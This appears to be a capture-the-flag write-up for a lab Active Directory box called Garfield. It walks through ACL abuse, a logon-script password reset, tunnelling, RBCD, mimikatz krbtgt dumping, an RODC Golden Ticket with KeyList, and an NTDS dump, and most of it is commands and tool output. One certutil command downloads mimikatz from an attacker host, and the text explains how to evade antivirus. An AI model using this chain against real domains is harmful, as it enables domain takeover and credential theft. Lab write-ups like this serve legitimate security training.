Active Directory Garfield - Season 9

Active Directory Garfield - Season 9


Difficulty: Hard
Category: Windows / Active Directory / RODC / Kerberos Abuse
Date: 2026-04-10


Overview

Garfield chains ACL abuse, logon script execution, RBCD, RODC key extraction, and a Golden Ticket + KeyList attack. The intended foothold is scriptPath abuse to get a reverse shell but AV blocked that so I embedded the password reset directly in the bat file and skipped the shell entirely. Rest of the chain is the same pivot to l.wilson_adm, tunnel into the internal RODC, dump krbtgt_8245, forge an RODC Golden Ticket, KeyList to get a real Administrator ticket from the primary DC.

Target10.129.20.234
Domaingarfield.htb
DCDC01.garfield.htb
Internal RODCRODC01.garfield.htb / 192.168.100.2
Initial Credsj.arbuckle : Th1sD4mnC4t!@1978
Password SetAntisec@123
Fake Machine AccountDUMMY$ / Dummypass@123
j.arbuckle
  -> writable ACLs on l.wilson and l.wilson_adm
  -> scriptPath abuse on l.wilson (AV blocked shell, used direct password reset instead)
  -> l.wilson_adm password reset via bat file
  -> Evil-WinRM as l.wilson_adm
  -> add self to RODC Administrators
  -> pivot to RODC01 via Ligolo
  -> create DUMMY$ machine account
  -> RBCD on RODC01
  -> impersonate Administrator to RODC01 via getST
  -> SYSTEM on RODC01
  -> dump krbtgt_8245 AES256 via mimikatz
  -> modify RODC replication policy
  -> forge RODC Golden Ticket
  -> KeyList to DC01
  -> real Administrator ticket
  -> NTDS dump -> root

Enumeration

nmap -sVC -p- -Pn --min-rate=500 -o garfield.nmap 10.129.20.234
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb)
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
3389/tcp  open  ms-wbt-server Microsoft Terminal Services

clock-skew: mean: 8h00m02s

Standard DC ports. WinRM on 5985 is what we’ll be living in for most of the box. The 8-hour clock skew is important Kerberos dies with KRB_AP_ERR_SKEW if you’re more than 5 minutes off, so ntpdate before any ticket work.

nxc smb $TARGET_IP -u $USER -p "$PASS" --shares
SMB  DC01  [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
SMB  DC01  SYSVOL    READ
SMB  DC01  NETLOGON  READ

Creds valid. SYSVOL read is relevant because that is where domain logon scripts are served from.


ACL Enumeration

bloodyAD --host $DOMAIN -u $USER -p "$PASS" get writable
distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
permission: WRITE

Having WRITE on an AD user object means you can modify their attributes scriptPath, unicodePwd, group memberships. It does not mean you can log in as them directly but it gives enough to pivot. Two interesting targets: l.wilson for the scriptPath abuse and l.wilson_adm for a password reset.


Foothold via scriptPath

Every AD user has a scriptPath attribute. When they log in, Windows runs whatever script that attribute points to from SYSVOL\<domain>\scripts\. We can write to SYSVOL and we can set l.wilson’s scriptPath, so combining those gives code execution as l.wilson on their next login.

Upload the bat file to SYSVOL:

smbclient //$TARGET_IP/SYSVOL -U $USER%"$PASS"
cd garfield.htb\scripts
put printerDetect.bat printerDetect.bat

Set the scriptPath:

bloodyAD --host $DOMAIN -u $USER -p "$PASS" \
set object "CN=Liz Wilson,CN=Users,DC=garfield,DC=htb" \
scriptPath -v printerDetect.bat
[+] CN=Liz Wilson,CN=Users,DC=garfield,DC=htb's scriptPath has been updated

Original bat file had a PowerShell reverse shell. Shell never came back but ICMP did:

Note from the future: I realised that the inbound connections were blocked by my machine as well, as usage of non standard ports were closed by the host firewall thus I needed to add rules to allow the connection

sudo tcpdump -i tun0 icmp
12:15:22 IP DC01.garfield.htb > antisec: ICMP echo request
12:15:22 IP antisec > DC01.garfield.htb: ICMP echo reply

Script is running, AV is just killing the payload. Rather than spending time on bypass, since we already have WRITE on l.wilson_adm we can put a password reset in the bat file directly no shell needed, nothing suspicious touching disk.

@echo off
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "Import-Module ActiveDirectory; Set-ADAccountPassword -Identity 'l.wilson_adm' -NewPassword (ConvertTo-SecureString 'Antisec@123' -AsPlainText -Force) -Reset"

Upload it to SYSVOL again and wait for l.wilson to log in.


Lateral Movement to l.wilson_adm

nxc winrm $TARGET_IP -u l.wilson_adm -p 'Antisec@123'
WINRM  DC01  [+] garfield.htb\l.wilson_adm:Antisec@123 (Pwn3d!)
evil-winrm -i $TARGET_IP -u l.wilson_adm -p 'Antisec@123'
type C:\Users\l.wilson_adm\Desktop\user.txt

User flag done.


Privilege Enumeration

whoami /groups
whoami /priv

Member of GARFIELD\Tier 1 and has SeMachineAccountPrivilege. The privilege is the important one lets any domain user add computer objects up to the ms-DS-MachineAccountQuota limit (10 by default). That is what enables RBCD later since we need a machine account whose password we control.


Adding Self to RODC Administrators

Add-ADGroupMember -Identity "RODC Administrators" -Members "l.wilson_adm"

RODC Administrators gives local admin on the RODC itself. We need that to run mimikatz on it and dump krbtgt_8245 from LSA.


Tunneling to RODC01

RODC01 is on 192.168.100.0/24, internal and not routable from Kali. DC01 can reach it so we proxy through using Ligolo-ng. If the tun interface already exists from a previous run, clean it first:

sudo ip link delete ligolo
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 192.168.100.0/24 dev ligolo
./proxy -selfcert -laddr 0.0.0.0:11601

From WinRM:

Start-Process -FilePath "C:\Users\l.wilson_adm\Documents\agent.exe" -ArgumentList "-connect 10.10.16.155:11601 -ignore-cert" -WindowStyle Hidden

Start the tunnel in the proxy console then verify:

nxc smb 192.168.100.2 -u l.wilson_adm -p 'Antisec@123'
SMB  RODC01  [+] garfield.htb\l.wilson_adm:Antisec@123

Creating a Fake Machine Account

addcomputer.py garfield.htb/l.wilson_adm:'Antisec@123' \
-computer-name 'DUMMY$' \
-computer-pass 'Dummypass@123' \
-dc-ip 10.129.21.190
[*] Successfully added machine account DUMMY$ with password Dummypass@123.

RBCD needs a principal we fully control one whose Kerberos keys we know so we can request tickets for it and use it to impersonate Administrator when targeting RODC01.


RBCD on RODC01

Set-ADComputer RODC01 -PrincipalsAllowedToDelegateToAccount DUMMY$
Get-ADComputer RODC01 -Properties PrincipalsAllowedToDelegateToAccount
PrincipalsAllowedToDelegateToAccount : {CN=DUMMY,CN=Computers,DC=garfield,DC=htb}

RBCD lets the target resource (RODC01) declare which accounts it trusts to impersonate other users to it. Once this is set, DUMMY$ can use S4U2Proxy to get a service ticket to RODC01 while impersonating Administrator. The key difference from classic constrained delegation is that the trust is configured on the target object, not the source which is why we needed WRITE on RODC01’s AD object to set this up.


Getting SYSTEM on RODC01

Sync the clock before any Kerberos work:

sudo ntpdate 10.129.21.190
getST.py garfield.htb/'DUMMY$':'Dummypass@123' \
-spn cifs/RODC01.garfield.htb \
-impersonate Administrator \
-dc-ip 10.129.21.190
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache
export KRB5CCNAME=$(pwd)/Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache

psexec.py -k -no-pass \
-dc-ip 10.129.21.190 \
-target-ip 192.168.100.2 \
garfield.htb/Administrator@RODC01.garfield.htb
C:\Windows\system32> whoami
nt authority\system

Dumping krbtgt_8245

Serve mimikatz from Kali, download it on RODC01:

cd C:\Windows\Temp
certutil -urlcache -split -f http://<ATTACKER_IP>:8888/mimikatz.exe mimikatz.exe
mimikatz.exe
privilege::debug
lsadump::lsa /inject /name:krbtgt_8245
Domain : GARFIELD / S-1-5-21-2502726253-3859040611-225969357

RID  : 00000643 (1603)
User : krbtgt_8245

  aes256_hmac (4096) : d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240
  aes128_hmac (4096) : 124c0fd09f5fa4efca8d9f1da91369e5
  NTLM               : 445aa4221e751da37a10241d962780e2

Each RODC gets its own krbtgt_<number> account separate from the main domain krbtgt. Tickets signed by it are only valid for that RODC the primary DC won’t accept them directly. The RODC number (8245) and AES256 key are what we need to forge a ticket that looks like it came from the RODC, which we then use to trigger the KeyList protocol against DC01.

AES256d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240
NTLM445aa4221e751da37a10241d962780e2
Domain SIDS-1-5-21-2502726253-3859040611-225969357
RODC Number8245

Modifying the RODC Replication Policy

By default, high-value accounts like Domain Admins are in msDS-NeverRevealGroup the RODC is explicitly told never to cache their credentials. We need to remove Administrator from the deny list and add it to the allow list, otherwise DC01 will reject the KeyList request for it.

From WinRM on DC01, load PowerView and run:

Set-DomainObject -Identity RODC01$ -Set @{
  'msDS-RevealOnDemandGroup'=@(
    'CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb',
    'CN=Administrator,CN=Users,DC=garfield,DC=htb'
  )
}
Set-DomainObject -Identity RODC01$ -Clear 'msDS-NeverRevealGroup'

Verify:

Get-ADComputer RODC01 -Properties msDS-RevealOnDemandGroup,msDS-NeverRevealGroup
msDS-RevealOnDemandGroup : {CN=Allowed RODC Password Replication Group,..., CN=Administrator,...}
msDS-NeverRevealGroup    :

RODC Golden Ticket and KeyList

Forge the RODC Golden Ticket using the krbtgt_8245 AES256 key:

.\Rubeus.exe golden `
/rodcNumber:8245 `
/flags:forwardable,renewable,enc_pa_rep `
/nowrap `
/outfile:ticket.kirbi `
/aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 `
/user:Administrator `
/id:500 `
/domain:garfield.htb `
/sid:S-1-5-21-2502726253-3859040611-225969357

The /flags:forwardable,renewable,enc_pa_rep part matters. enc_pa_rep tells the KDC this ticket is RODC-issued and eligible for KeyList. Without it DC01 rejects the request outright.

Then present it to DC01:

.\Rubeus.exe asktgs `
/enctype:aes256 `
/keyList `
/service:krbtgt/garfield.htb `
/dc:DC01.garfield.htb `
/ticket:ticket_2026_04_11_18_47_53_Administrator_to_krbtgt@GARFIELD.HTB.kirbi `
/nowrap

KeyList is the protocol an RODC uses to ask the primary DC to sync a user’s credentials for local caching. By impersonating that sync request with our forged RODC ticket, DC01 hands us the real Administrator credentials thinking it is responding to a legitimate cache request from the RODC.


KRB_AP_ERR_BAD_INTEGRITY Loop

This ran around 10 times before it worked. Every asktgs came back with:

[X] KRB-ERROR (31) : KRB_AP_ERR_BAD_INTEGRITY

Ticket was forging fine each time. The error means DC01 tried to verify the ticket signature and the checksum did not match. There are a few reasons this can happen replication policy change has not propagated yet, clock issue at ticket use time, or pointing at a stale ticket file from a previous forge. Also hit this once mid-troubleshoot:

[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi

Which was just a copy-paste mistake with a placeholder filename. WinRM session also timed out at some point which meant reconnecting and re-forging.

The actual fix was just waiting a couple minutes after modifying the replication policy. DC01 needs time to process the msDS-RevealOnDemandGroup change before it will honour a KeyList for Administrator. Once it propagated, the next attempt worked. Always use the exact filename from the most recent forge Rubeus timestamps it every run so it changes each time.


NTDS Dump and Root

Convert the base64 blob from Rubeus into a ccache on Kali:

tr -d '\r\n\t ' < /tmp/ticket.b64 | base64 -d > /tmp/ticket.kirbi

# sanity check — first bytes should be valid ASN.1
xxd -l 8 /tmp/ticket.kirbi
# 00000000: 7682 059e 3082 059a

impacket-ticketConverter /tmp/ticket.kirbi /tmp/ticket.ccache
export KRB5CCNAME=/tmp/ticket.ccache
nxc smb DC01.garfield.htb --use-kcache --ntds
[+] GARFIELD.HTB\Administrator from ccache (Pwn3d!)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee238f6debc752010428f20875b092d5:::
evil-winrm -i 10.129.26.185 -u Administrator -H 'ee238f6debc752010428f20875b092d5'
type C:\Users\Administrator\Desktop\root.txt

Takeaways

The AV detour was the more interesting part of this box. When the shell does not come back but ICMP does, the script is running and AV is catching the payload specifically. Pivoting to a pure AD operation like a password reset via PowerShell cmdlet is cleaner anyway nothing touches disk in a suspicious way and there is no outbound connection for anything to catch.

The KRB_AP_ERR_BAD_INTEGRITY loop on KeyList almost always means the replication policy change has not propagated yet, not that something is wrong with the ticket itself. Wait, re-forge, use the latest filename.

The RODC attack path (RBCD to SYSTEM, dump the RODC krbtgt, Golden Ticket + KeyList to get real DA creds) is worth having in memory. RODCs are common in branch-office AD deployments and tend to get overlooked as a path into the primary DC.